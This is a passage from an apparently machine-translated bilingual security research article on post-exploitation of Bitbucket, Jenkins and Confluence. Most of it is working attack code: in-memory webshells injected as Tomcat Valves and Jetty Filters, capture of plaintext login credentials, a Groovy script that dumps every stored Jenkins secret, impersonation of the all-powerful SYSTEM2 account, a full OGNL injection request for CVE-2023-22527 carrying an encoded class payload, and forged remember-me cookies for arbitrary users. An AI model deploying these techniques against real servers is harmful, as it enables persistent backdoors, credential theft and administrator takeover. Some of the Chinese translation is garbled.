  result.put("cookie_name", ctx.getEnvironment().getProperty("auth.remember-me.cookie.name"));
  result.put("cookie_value", Base64Utils.encodeToUrlSafeString(joined.getBytes()));
}

This cookie, once returned from the webshell on the HTTP response, can be directly used to obtain an authenticated session on behalf of the targeted user, granting full privileges over Bitbucket if it is an administrator.
此cookie在HTTP响应中从webshell返回后,可直接用于代表目标用户获得经过身份验证的会话,如果是管理员,则授予Bitbucket的完全权限。

Intercepting plaintext credentials
拦截明文凭据

The last interesting feature of this webshell would be to intercept authentication forms submitted by legitimate users to capture credentials in plaintext, as this would be useful to gain access to other sensitive assets. Moreover, on-premise Bitbucket instances usually rely on an LDAP directory for authentication (cf. Bitbucket Datacenter guide), which makes it even more interesting.
这个webshell的最后一个有趣的特性是拦截合法用户提交的身份验证表单,以捕获明文形式的凭据,因为这对于访问其他敏感资产很有用。此外,内部部署的Bitbucket实例通常依赖于LDAP目录进行身份验证(参见Bitbucket数据中心指南),这使得它更加有趣。

For Bitbucket, the authentication form uses the /j_atl_security_check endpoint. For example, when the form is submitted, the following request is performed:
对于Bitbucket,身份验证表单使用 /j_atl_security_check 端点。例如,提交表单时,将执行以下请求:

POST /j_atl_security_check HTTP/1.1
Host: 172.16.0.2:7990
Content-Type: application/x-www-form-urlencoded
Content-Length: [...]

j_username=[USERNAME]&j_password=[PASSWORD]&_atl_remember_me=on&next=[...]&queryString=[...]&submit=Log+in

On our context, all the HTTP requests can be intercepted from the CustomValve class, the following snippet logs all the received credentials:
在我们的上下文中,所有的HTTP请求都可以从 CustomValve 类中截取,下面的代码片段记录了所有接收到的凭证:

public static class CustomValve extends ValveBase {
  // [...]
  @Override
  public void invoke(Request request, Response response) throws IOException, ServletException {
    try {
      if (request.getRequestURI().equals("/j_atl_security_check")
          && request.getMethod().equalsIgnoreCase("POST")
          && request.getParameter("j_username") != null
          && request.getParameter("j_password") != null) {
        
        logCredentials(request.getParameter("j_username"),
          request.getParameter("j_password"));
      }
      // TODO parse request and send a response from the in-memory webshell
    } catch (Exception ignored) {
    } finally {
      // forward to the next Valve
      if (this.getNext() != null) {
        this.getNext().invoke(request, response);
      }
    }
  }
  
  private final HashMap<String, Set<String>> credentials = new HashMap<>();
  
  private void logCredentials(String username, String pass) {
    u = u.trim();
    synchronized (credentials) {
      if(credentials.containsKey(username)) {
        Set<String> set = credentials.get(u);
        set.add(pass);
      } else {
        Set<String> set = new HashSet<>();
        set.add(pass);
        credentials.put(username, set);
      }
    }
  }
  // [...]
}

Finally, the webshell just has to be modified to handle a new command that responds to its caller with all the intercepted credentials.
最后,只需要修改webshell来处理一个新命令,该命令使用所有截获的凭证来响应其调用者。

Loading through a scripting engine
通过脚本引擎加载

Jenkins is an open-source automation server widely used for continuous integration (CI) and continuous delivery (CD) pipelines in software development. It allows developers to automate various aspects of the software development process, such as building, testing, and deploying code changes.
Jenkins是一个开源自动化服务器,广泛用于软件开发中的持续集成(CI)和持续交付(CD)管道。它允许开发人员自动化软件开发过程的各个方面,例如构建,测试和部署代码更改。

CONTEXT 上下文

Jenkins has a feature allowing to execute Groovy scripts from:
Jenkins有一个功能允许从以下位置执行Groovy脚本:

  • The Script console on the management interface, where scripts can be executed within the Jenkins controller runtime (i.e. where the web console is executed).
    管理界面上的脚本控制台,可以在Jenkins控制器运行时(即执行Web控制台的地方)执行脚本。
  • Automation tasks when submitting code to pipelines, where scripts are executed on Jenkins workers.
    将代码提交到管道时的自动化任务,其中脚本在Jenkins工作器上执行。

Over the past years, two pre-authenticated paths leading to RCE on the Jenkins controller were identified:
在过去的几年里,在Jenkins控制器上发现了两条通往RCE的预认证路径:

  • Arbitrary unserialize of user-supplied data from Jenkins Remoting (CVE-2017-1000353, including a Metasploit module10). As explained in this article11, the unserialize is triggered from a SignedObject of a gadget chain targeting commons-collections:3.0 using Transformers.
    从Jenkins Remoting(CVE-2017-1000353,包括Metasploit模块10)中任意解序列化用户提供的数据。正如本文11中所解释的,反序列化是从小工具链的 SignedObject 触发的,目标是 commons-collections:3.0 使用 Transformers 。
  • Several sandbox bypasses on pipeline jobs covered by Orange Tsai (Hacking Jenkins Part 112, Hacking Jenkins Part 213), chaining CVE-2018-1000861CVE-2019-1003005 and CVE-2019-1003029 (PoC14).
    橙子Tsai(Hacking Jenkins Part 1 12,Hacking Jenkins Part 2 13),链接CVE-2018-1000861,CVE-2019-1003005和CVE-2019-1003029(2014)所涵盖的管道作业上的几个沙箱绕过。

In this article, we will only consider the simple case of being authenticated as administrator on Jenkins where we can use the Script console to execute arbitrary Groovy scripts within the Jenkins controller runtime. Note however that the post-exploitation tricks presented in the following chapters could be used from the two mentioned RCE chains.
在本文中,我们将只考虑在Jenkins上被认证为管理员的简单情况,在这种情况下,我们可以使用脚本控制台在Jenkins控制器运行时中执行任意Groovy脚本。但是请注意,以下章节中介绍的开发后技巧可以从两个提到的RCE链中使用。

The Groovy scripts execution will be used to interact with the Jenkins runtime. Jenkins internally uses the following dependencies:
Groovy脚本执行将用于与Jenkins运行时交互。Jenkins内部使用以下依赖项:

INJECTING AN IN-MEMORY PAYLOAD
注入内存有效负载

We can already define new classes from Groovy. Additionally, we can define custom classes from the parent of the current Thread context’s ClassLoader:
我们已经可以从Groovy中定义新的类了。此外,我们可以从当前Thread context的 ClassLoader 的父类定义自定义类:

try {
    ClassLoader cl = Thread.currentThread().getContextClassLoader()
        .getParent();
    Class kValve;
    for(d in ['[B64_ENCODED_CLASS_BYTECODE]']) {
        byte[] klassBytes = Base64.decoder.decode(d.strip());
        m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        m.setAccessible(true);
        kValve = (Class) m.invoke(cl, klassBytes, 0, klassBytes.length);
    }
    kValve.newInstance();
} catch(e) { }

From our injected custom classes, we can interact with Jenkins and Spring classes. The next step would be to inject an in-memory webshell intercepting all HTTP requests. In Spring on Jetty, we can obtain a reference to WebAppContext$Context in ThreadLocals of a thread currently processing a request.  From an instance of the enclosed WebAppContext$Context class, we can retrieve the instance of the enclosing class WebAppContext, stored in the internal field this$0.
从我们注入的自定义类中,我们可以与Jenkins和Spring类交互。下一步是注入一个内存中的webshell,拦截所有HTTP请求。在Spring on Jetty中,我们可以在当前处理请求的线程的 ThreadLocals 中获得对 WebAppContext$Context 的引用。从封闭类 WebAppContext$Context 的实例中,我们可以检索存储在内部字段 this$0 中的封闭类 WebAppContext 的实例。

Luckily, our Groovy script is executed from within the thread that is processing our current HTTP request, and we can obtain this reference from the following snippet:
幸运的是,我们的Groovy脚本是在处理当前HTTP请求的线程中执行的,我们可以从下面的代码片段中获得这个引用:

try {
  Thread t = Thread.currentThread();
  java.lang.reflect.Field fThreadLocals = Thread.class.getDeclaredField("threadLocals");
  fThreadLocals.setAccessible(true);

  java.lang.reflect.Field fTable = Class.forName("java.lang.ThreadLocal$ThreadLocalMap").getDeclaredField("table");
  fTable.setAccessible(true);

  if (fThreadLocals.get(t) == null) return;

  Object table = fTable.get(fThreadLocals.get(t));
  java.lang.reflect.Field fValue = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry").getDeclaredField("value");
  fValue.setAccessible(true);

  Object handle = null;
  int length = java.lang.reflect.Array.getLength(table);
  for (int i = 0; i < length; ++i) {
    Object entry = java.lang.reflect.Array.get(table, i);
    if (entry == null) continue;
    Object value = fValue.get(entry);
    if (value == null) continue;
    if (value instanceof WeakReference) {
      value = ((WeakReference<?>) value).get();
    }
    if (value == null) continue;
    if (value instanceof SoftReference) {
      value = ((SoftReference<?>) value).get();
    }
    if (value == null) continue;
    if (value.getClass().getName().equals("org.eclipse.jetty.webapp.WebAppContext$Context")) {
      handle = value;
      break;
    }
  }
  if (handle == null) return;
  Field this0 = handle.getClass().getDeclaredField("this$0");
  this0.setAccessible(true);
  WebAppContext appCtx = (WebAppContext) this0.get(handle);
} catch (Throwable ignored) {
}

Then, we can use this reference to define a custom Filter and add it to the top of the chain:
然后,我们可以使用这个引用来定义一个自定义Filter,并将其添加到链的顶部:

//[...]
import javax.servlet.Filter;
//[...]
public class CustomFilter implements Filter {

  public CustomFilter(WebAppContext appCtx) throws Exception {
    ServletHandler handler = appCtx.getServletHandler();
    addFilterWithMapping(
      handler,
      new FilterHolder(this), "/*",
      EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST)
    );
  }

  private static void addFilterWithMapping(final ServletHandler handler, FilterHolder holder, 
      String pathSpec, EnumSet<DispatcherType> dispatches) throws Exception {
    holder.setName("CustomFilter" + new SecureRandom().nextInt(0xffff));
    Objects.requireNonNull(holder);
    FilterHolder[] holders = handler.getFilters();
    if (holders != null) {
      holders = holders.clone();
    } else {
      holders = new FilterHolder[0];
    }
    // already injected
    for (FilterHolder entry : holders) {
      if (entry.getFilter().getClass().getName().equals(CustomFilter.class.getName()))
        return;
    }
    synchronized (handler) {
      Method contains = handler.getClass()
        .getDeclaredMethod("containsFilterHolder", FilterHolder.class);
      contains.setAccessible(true);
      if (!((Boolean) contains.invoke(handler, holder))) {
        handler.setFilters(ArrayUtil.add(new FilterHolder[]{holder}, holders));
      }
    }

    FilterMapping mapping = new FilterMapping();
    mapping.setFilterName(holder.getName());
    mapping.setPathSpec(pathSpec);
    mapping.setDispatcherTypes(dispatches);
    handler.prependFilterMapping(mapping);
  }
  
  @Override
  public void destroy() { }

  @Override
  public void init(FilterConfig filterConfig) { }

  private static class AbortRequest extends Throwable { }

  @Override
  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, 
      FilterChain filterChain) throws IOException, ServletException {
    try {
      HttpServletRequest request = (HttpServletRequest) servletRequest;
      HttpServletResponse response = (HttpServletResponse) servletResponse;

      if (request.getHeader(/* [...] */) != null) {
        try {
          handleRequest(request, response);
        } catch (AbortRequest e) {
          return; //if raw HTML result, prevent the req from being processed by jenkins
        }
      }
    } catch (Exception ignored) {
    }
    if (filterChain != null) {
      filterChain.doFilter(servletRequest, servletResponse);
    }
  }

  // [...]
}

This in-memory webshell can then be extended to define specific features.
然后可以扩展这个内存中的webshell来定义特定的功能。

EXECUTING SCRIPTS 执行脚本

On Jenkins, Groovy scripts are executed using the RemotingDiagnostics class of Hudson and its Script private class. This class imports several packages that allow interacting with the Jenkins API.
在Jenkins上,Groovy脚本使用哈德逊的 RemotingDiagnostics 类及其 Script 私有类执行。这个类导入几个允许与Jenkins API交互的包。

For example, the following script, based on the one mentioned in this article15, can be directly used to exfiltrate all the automation secrets, as long as the currently authenticated user is granted read privileges over them:
例如,以下脚本基于本文15中提到的脚本,可以直接用于泄露所有自动化机密,只要当前经过身份验证的用户被授予对它们的读取权限:

import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernameCredentials
import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
import com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl
import com.cloudbees.plugins.credentials.common.StandardCredentials
import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl
import org.jenkinsci.plugins.plaincredentials.impl.StringCredentialsImpl
import com.cloudbees.plugins.credentials.impl.CertificateCredentialsImpl
import hudson.model.ItemGroup

def stringify(c) {
  switch(c) {
    case BasicSSHUserPrivateKey:
      	return String.format("id=%s desc=%s passphrase=%s keys=%s", c.id, c.description, 
            c.getPassphrase() != null ? c.getPassphrase().getPlainText() : '', c.privateKeySource.getPrivateKeys())
    case UsernamePasswordCredentialsImpl:
      	return String.format("id=%s desc=%s user=%s pass=%s", c.id, c.description, 
            c.username, c.password != null ? c.password.getPlainText() : '')
    case FileCredentialsImpl: 
      	is = c.getContent()
        if(is != null){
          byte[] buf = new byte[is.available()]
    	  is.read(buf);
          content = buf.encodeBase64().toString()
        } else {
          content = '';
        }
        return String.format("id=%s desc=%s filename=%s content=%s", c.id, c.description, 
            c.getFileName(), content)
    case StringCredentialsImpl:
      	return String.format("id=%s desc=%s secret=%s", c.id, c.description, 
            c.getSecret() != null ? c.getSecret().getPlainText() : '')
    case CertificateCredentialsImpl:
        source = c.getKeyStoreSource()
        if (source != null)
            content = source.getKeyStoreBytes().encodeBase64().toString()
        else 
            content = ''
      	return String.format("id=%s desc=%s password=%s keystore=%s", c.id, c.description, 
            c.getPassword() != null ? c.getPassword().getPlainText() : '', content)
    default:
        return 'Unknown type ' + c.getClass().getName()
  }
}

for (group in Jenkins.instance.getAllItems(ItemGroup)) {
  println "============= " + group
  for (cred in CredentialsProvider.lookupCredentials(StandardCredentials, group))
     println stringify(cred)
}
println "============= Global"
for (cred in CredentialsProvider.lookupCredentials(StandardCredentials, Jenkins.instance, null, null))
  println stringify(cred)

Implementing a feature to execute Groovy scripts can be really useful, especially when the in-memory webshell was injected by exploiting one of the RCE chains mentioned before, as the injected code would be executed from the context of an unauthenticated user. To be able to perform privileged operations on Jenkins from Groovy scripts, this feature should be adapted to impersonate a privileged user.
实现一个功能来执行Groovy脚本可能非常有用,特别是当内存中的webshell是通过利用前面提到的RCE链之一来注入的时候,因为注入的代码将从未经身份验证的用户的上下文中执行。为了能够从Groovy脚本在Jenkins上执行特权操作,应该修改此功能以模拟特权用户。

Actually, Jenkins internally defines a specific authenticated user, named SYSTEM2, that is granted all privileges. Authentication on Jenkins is performed by using the Authentication core feature of Spring.
实际上,Jenkins在内部定义了一个特定的经过身份验证的用户,名为Jenkins EM2,该用户被授予所有权限。Jenkins上的身份验证是通过使用Spring的Authentication核心特性来执行的。

The currently authenticated user is stored on a Spring SecurityContext, where its current instance can be retrieved from the SecurityContextHolder.
当前经过身份验证的用户存储在Spring SecurityContext 上,可以从 SecurityContextHolder 检索其当前实例。

Replacing the current Authentication instance from null or ANONYMOUS on the SecurityContext is sufficient to impersonate the SYSTEM2 user:
从 SecurityContext 上的 null 或 ANONYMOUS 替换当前 Authentication 实例足以模拟 SYSTEM2 用户:

String script = (String) args.get("script");

ClassLoader ctxLoader = Thread.currentThread()
  .getContextClassLoader();

Object SYSTEM2 = ctxLoader.loadClass("hudson.security.ACL")
  .getField("SYSTEM2").get(null);

Object securityCtx = ctxLoader
  .loadClass("org.springframework.security.core.context.SecurityContextHolder")
  .getMethod("getContext").invoke(null);
Class authClass = ctxLoader.loadClass("org.springframework.security.core.Authentication");
Object oldAuth = securityCtx.getClass().getMethod("getAuthentication")
  .invoke(securityCtx);
Method setAuth = securityCtx.getClass()
  .getMethod("setAuthentication", new Class[]{ authClass });
try {
  // Impersonate SYSTEM2 (full privileges)
  setAuth.invoke(securityCtx, SYSTEM2);

  Class scriptingKlass = ctxLoader.loadClass("hudson.util.RemotingDiagnostics$Script");
  Constructor scriptingConstructor = scriptingKlass
    .getDeclaredConstructors()[0];
  scriptingConstructor.setAccessible(true);
  Object scripting = scriptingConstructor.newInstance(script);
  Method call = scriptingKlass.getDeclaredMethod("call");
  call.setAccessible(true);
  String res = (String) call.invoke(scripting);
  result.put("res", res);
} finally {
  //revert auth context
  setAuth.invoke(securityCtx, oldAuth);
}

From there, Groovy scripts will be executed with full privileges, whether the user sending the HTTP request to the webshell was already authenticated or not.
从那里开始,Groovy脚本将以完全权限执行,无论向webshell发送HTTP请求的用户是否已经通过身份验证。

INTERCEPTING CREDENTIALS
截取凭证

Finally, as for Bitbucket, Jenkins uses the /j_spring_security_check endpoint to authenticate its users, and an LDAP directory can be configured. From our custom Filter, we can easily intercept such requests and log the plaintext credentials:
最后,对于Bitbucket,Jenkins使用 /j_spring_security_check 端点来验证其用户,并且可以配置LDAP目录。通过我们的自定义过滤器,我们可以轻松拦截此类请求并记录明文凭据:

public class CustomFilter implements Filter {
  // [...]
  @Override
  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    try {
      HttpServletRequest request = (HttpServletRequest) servletRequest;
      HttpServletResponse response = (HttpServletResponse) servletResponse;

      if (/* [...] */) {
        // [...]
      } else if (request.getRequestURI().equals("/j_spring_security_check") 
            && request.getMethod().equalsIgnoreCase("POST") 
            && request.getParameter("j_username") != null 
            && request.getParameter("j_password") != null) {
        logCredentials(request.getParameter("j_username"), request.getParameter("j_password"));
      }
    } catch (Exception ignored) {
    }
    if (filterChain != null) {
      filterChain.doFilter(servletRequest, servletResponse);
    }
  }
  // [...]
}

Loading through a template injection
通过模板注入加载

Confluence is a collaborative workspace software developed by Atlassian. It is designed to help teams collaborate and share knowledge effectively. Confluence provides a platform for creating, organizing, and discussing content such as documents, spreadsheets, project plans, meeting notes, and more. It is often used in conjunction with other Atlassian products like Jira, Bitbucket, and Trello to facilitate collaboration across different aspects of software development and project management.
Confluence是一个由Atlassian开发的协作工作空间软件。它旨在帮助团队有效地协作和共享知识。Confluence为创建、组织和讨论文档、电子表格、项目计划、会议记录等内容提供了一个平台。它通常与其他Atlassian产品(如Jira,Bitbucket和Trello)结合使用,以促进软件开发和项目管理不同方面的协作。

CONTEXT 上下文

During January 2024, an SSTI vulnerability referenced as CVE-2023-22527 affecting Confluence Data Center was disclosed. This vulnerability can be exploited without prior authentication by sending a request to the text-inline.vm Velocity template. This template performs a direct OGNL (Object-Graph Navigation Language) expansion from request parameters using the findValue method. An explanation of the root cause and a PoC are provided in this article16.
在2024年1月期间,披露了一个影响Confluence Data Center的SSTI漏洞,编号为CVE-2023-22527。无需事先身份验证,即可通过向 text-inline.vm Velocity模板发送请求来利用此漏洞。此模板使用 findValue 方法从请求参数执行直接OGNL(对象图形导航语言)扩展。第16条中提供了根本原因的解释和解释。

This vulnerability could be used to compromise the server hosting it, and to perform network pivoting. However, as for Bitbucket, if this application hosts sensitive assets and is still used by legitimate users, it may be interesting to first compromise it and the assets it hosts. Moreover, if outgoing traffic is filtered, and if the application is executed as an unprivileged user, it may be necessary to exfiltrate data using the application itself.
此漏洞可用于危害托管它的服务器,并执行网络旋转。但是,对于Bitbucket,如果此应用程序托管敏感资产,并且仍然由合法用户使用,那么首先危害它及其托管的资产可能会很有趣。此外,如果传出流量被过滤,并且如果应用程序作为非特权用户执行,则可能需要使用应用程序本身来泄露数据。

The easiest way to compromise it would be to interact with its runtime, through Java code. Confluence internally uses the following dependencies:
破坏它的最简单方法是通过Java代码与它的运行时交互。Confluence内部使用以下依赖项:

  • Struts2.
  • Tomcat embedded. 嵌入了Tomcat。
  • Spring. 春天

Exploiting this vulnerability to inject an in-memory payload is already described in this blog post17 and in a PoC18. However, we will demonstrate a slightly different method.
利用此漏洞注入内存中的有效负载已在此博客文章17和18中描述。但是,我们将演示一种稍微不同的方法。

INJECTING AN IN-MEMORY PAYLOAD
注入内存有效负载

In the following request, we are using OGNL shenanigans to bypass the length limitation, without extending the length limit:
在下面的请求中,我们使用了OGNL的诡计来绕过长度限制,而没有扩展长度限制:

POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 1341
Connection: close

name=Main33&label=<@urlencode>text\u0027+(#p=#parameters[0]),(#o=#request[#p[0]].internalGet(#p[1])),(#i=0),(#v=#{}),(#parameters[1].{#v[#i-1]=#o.findValue(#parameters[1][(#i=#i+1)-1],#{0:#parameters,1:#v})})+\u0027<@/urlencode>&0=.KEY_velocity.struts2.context&0=ognl&1=@Thread@currentThread().getContextClassLoader()&[email protected]@getDecoder().decode(#root[0]["clazz"][0])&1=new+net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],#{#root[0]['name'][0]:#root[1][1]})&[email protected]@create(#root[1][2],"loadClass","")&1=#root[1][3].getMethod().invoke(#root[1][2],#root[0]['name'][0]).newInstance()&clazz=<@urlencode>yv66vgAAAD0AIQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCQAIAAkHAAoMAAsADAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsIAA4BAAtDb25zdHJ1Y3RvcgoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVggAFgEADFN0YXRpYyBibG9jawcAGAEABk1haW4zMwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAITE1haW4zMzsBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAtNYWluMzMuamF2YQAhABcAAgAAAAAAAgABAAUABgABABkAAAA/AAIAAQAAAA0qtwABsgAHEg22AA+xAAAAAgAaAAAADgADAAAAAgAEAAMADAAEABsAAAAMAAEAAAANABwAHQAAAAgAHgAGAAEAGQAAACUAAgAAAAAACbIABxIVtgAPsQAAAAEAGgAAAAoAAgAAAAcACAAIAAEAHwAAAAIAIA==<@/urlencode>

This payload is divided into four parts:
该有效载荷分为四个部分:

  1. The label parameter exploiting the OGNL injection and escaping the restricted Struts2 context.
    label 参数利用OGNL注入并转义受限的Struts2上下文。
  2. The POST parameter array 0, making the label payload shorter.
    POST参数数组 0 ,使 label 有效负载更短。
  3. The POST parameter array 1, defining the complex payload finally executed.
    POST参数数组 1 ,定义最终执行的复杂有效负载。
  4. Supplementary POST parameters, used to pass parameters to the step 3 payload (such as clazz and name).
    补充POST参数,用于将参数传递给第3步有效负载(例如 clazz 和 name )。

In a more readable way, the label parameter injects the following OGNL payload:
以更可读的方式, label 参数注入以下OGNL负载:

// #parameters[0] = {".KEY_velocity.struts2.context", "ognl"}
// #parameters[1] = {"3*6", "@[email protected](#root[1][0])"}

#p = #parameters[0]
#o = #request[#p[0]].internalGet(#p[1])
#i = 0
#v = #{}
#parameters[1].{ 
  #v[#i-1] = #o.findValue(
    #parameters[1][(#i = #i + 1) - 1],
    #{0:#parameters, 1:#v}
  )
}

It escapes the sandbox, and uses collection projections with a delegate (cf. documentation and this blog post19) in order to evaluate each element (or payload line) of the POST parameter array 1. The label payload also stores the result of each previous line executed outside the sandbox, and passes this result array in the parameter #root[1]. Finally, it passes POST parameters of the current request in #root[0].
它脱离了沙箱,并使用带有委托的集合投影(参见为了计算POST参数数组 1 的每个元素(或有效负载行),我们需要使用POST参数数组 1 的所有元素(或有效负载行)。 label payload还存储在沙箱外执行的每一行的结果,并在参数 #root[1] 中传递此结果数组。最后,它在 #root[0] 中传递当前请求的POST参数。

Even though the Struts2 context is escaped, the OgnlRuntime class still restricts which methods can be invoked:
即使Struts2上下文被转义, OgnlRuntime 类仍然限制可以调用哪些方法:

package ognl;
// [...]
public class OgnlRuntime {
  // [...]
  public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
    if (_useStricterInvocation) {
      Class methodDeclaringClass = method.getDeclaringClass();
      if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method)
          || AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method) 
          || SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method) 
          || SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method) 
          || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) 
          || ClassResolver.class.isAssignableFrom(methodDeclaringClass) 
          || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) 
          || MemberAccess.class.isAssignableFrom(methodDeclaringClass) 
          || OgnlContext.class.isAssignableFrom(methodDeclaringClass) 
          || Runtime.class.isAssignableFrom(methodDeclaringClass) 
          || ClassLoader.class.isAssignableFrom(methodDeclaringClass) 
          || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) 
          || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
        throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");
      }
    }
  // [...]
}

It can be easily bypassed by calling MethodInvocationUtils of Spring.
它可以通过调用Spring的 MethodInvocationUtils 轻松绕过。

The final payload, stored in the POST parameter array 1, injects custom classes using ByteArrayClassLoader which is included by Confluence, and MethodInvocationUtils of Spring to call the filtered method loadClass of ClassLoader:
最后一个payload,存储在POST参数数组 1 中,使用Confluence包含的 ByteArrayClassLoader 和Spring的 MethodInvocationUtils 注入自定义类,以调用 ClassLoader 中的过滤方法 loadClass :

#root[1][0] = @Thread@currentThread().getContextClassLoader()
#root[1][1] = @java.util.Base64@getDecoder().decode(#root[0]["clazz"][0])
#root[1][2] = new net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],#{#root[0]['name'][0]:#root[1][1]})
#root[1][3] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","")
#root[1][4] = #root[1][3].getMethod().invoke(#root[1][2],#root[0]['name'][0]).newInstance()

This payload can be extended to define as many classes as required, specified in the POST parameter arrays classes and names:
这个有效负载可以扩展为定义所需的多个类,在POST参数数组 classes 和 names 中指定:

#root[1][0] = @Thread@currentThread().getContextClassLoader()
#root[1][1] = @java.util.Base64@getDecoder()
#root[1][2] = new net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],false,#{})
#root[1][3] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"defineClass","","".getBytes()).getMethod()
#root[1][4] = #root[(#k=0)]['classes'].{#root[1][3].invoke(#root[1][2],#root[0]['names'][(#k=#k+1)-1],#root[1][1].decode(#root[0]['classes'][#k-1]))}
#root[1][5] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","").getMethod()
#root[1][6] = #root[1][5].invoke(#root[1][2],#root[0]['main'][0]).newInstance()

Note that scripting engines could also be used here to completely bypass the sandbox, as long as they are loaded by Confluence. A PoC on GitHub20 and a write-up21 were relying on the JavaScript ScriptingEngine to exploit CVE-2022-26134 and to inject a custom class at runtime. However, such engines seem to be no longer available by default on Confluence and JDK 17.
请注意,脚本引擎也可以在这里使用,以完全绕过沙箱,只要它们被Confluence加载。GitHub 20和21上的一个插件依赖于JavaScript ScriptingEngine 来利用CVE-2022-26134并在运行时注入一个自定义类。然而,这样的引擎在Confluence和JDK 17上似乎不再默认可用。

INTERACTING WITH CONFLUENCE
与融合互动

Similar to Bitbucket, Confluence is a product developed by Atlassian, and we can identify certain resemblances between them. It is worth noting that other researchers have previously published22 23 examples of Java classes aiming at executing post-exploitation attacks.
与Bitbucket类似,Confluence是Atlassian开发的产品,我们可以确定它们之间的某些相似之处。值得注意的是,其他研究人员此前已经发布了22 23个Java类的例子,旨在执行后利用攻击。

Injecting an in-memory backdoor into Confluence can leverage the same technique outlined in the Bitbucket section. Since Confluence is built on Tomcat, the process involves registering a new Valve, enabling to utilize the existing code base for injecting the backdoor. From the exploitation of the SSTI presented in the previous section, one can access the StandardContext of Tomcat by leveraging Struts2’s ServletActionContext. Indeed, the latter being accessible from a thread processing a web request, a reference to the StandardContext instance can be obtained by doing some reflection on different fields.
将内存后门注入Confluence可以利用Bitbucket部分中概述的相同技术。由于Confluence是在Tomcat上构建的,因此该过程涉及注册一个新的 Valve ,从而能够利用现有的代码库来注入后门。通过利用上一节中介绍的SSTI,可以通过利用Struts2的 ServletActionContext 访问Tomcat的 StandardContext 。实际上,后者可以从处理Web请求的线程访问,对 StandardContext 实例的引用可以通过在不同字段上进行一些反射来获得。

ServletContext svlCtx = ServletActionContext.getRequest().getServletContext();
Field field = svlCtx.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(svlCtx);

field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
return (StandardContext)field.get(applicationContext);

With a reference on this context, a Valve can be registered as previously described.
通过参考该上下文,可以如前所述配准阀。

However, there is a notable difference between Bitbucket and Confluence regarding their approach to access components. While Bitbucket utilizes the @Service annotation from the Spring framework to inject dependencies, Confluence adopts an instance manager. The primary component facilitating access to various classes within the application is the ContainerManager. It maintains references to instances of other classes, which can be statically retrieved through it, as demonstrated below:
然而,Bitbucket和Confluence在访问组件的方法上存在显着差异。虽然Bitbucket使用Spring框架的 @Service 注释来注入依赖项,但Confluence采用了实例管理器。便于访问应用程序中各种类的主要组件是 ContainerManager 。它维护对其他类的实例的引用,这些引用可以通过它静态检索,如下所示:

UserAccessor userAccessor = (UserAccessor) ContainerManager.getComponent("userAccessor");
for (User user : userAccessor.getUsers()) {
    System.out.println(user.getName())
}

This allows us to access and interact with any Confluence component.
这允许我们访问任何Confluence组件并与之交互。

GENERATING AUTHENTICATION COOKIES
生成认证COOKIE

Using the ContainerManager class, we can access different classes to generate remember-me cookies as it was done for Bitbucket. This technique was already published on two GitHub repositories22 23.
使用 ContainerManager 类,我们可以访问不同的类来生成 remember-me cookie,就像Bitbucket一样。这项技术已经在两个GitHub存储库上发布22 23。

By accessing the RememberMeTokenDao class, we can generate new remember-me cookies for arbitrary users:
通过访问 RememberMeTokenDao 类,我们可以为任意用户生成新的 remember-me cookie:

DefaultRememberMeTokenGenerator generator = new DefaultRememberMeTokenGenerator();
RememberMeConfiguration config = (RememberMeConfiguration) ContainerManager
  .getComponent("rememberMeConfig");

RememberMeToken token = ((RememberMeTokenDao) ContainerManager.getComponent("rememberMeTokenDao"))
  .save(generator.generateToken("admin"));

String cookie = String.format("%s=%s", 
  config.getCookieName(), 
  URLEncoder.encode(String.format("%s:%s", save.getId(), save.getRandomString()))
);
// seraph.confluence=622594%3Aeccf6dfd9acbde7dc82d43357df11e203d07b1df

This cookie can then be used to obtain an authenticated session and to administrate the application:
然后,此Cookie可用于获取经过身份验证的会话并管理应用程序:

$ curl -kIs -b "seraph.confluence=622594%3Aeccf6dfd9acbde7dc82d43357df11e203d07b1df" http://confluence.local:8090/admin/users/browseusers.action
HTTP/1.1 200 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
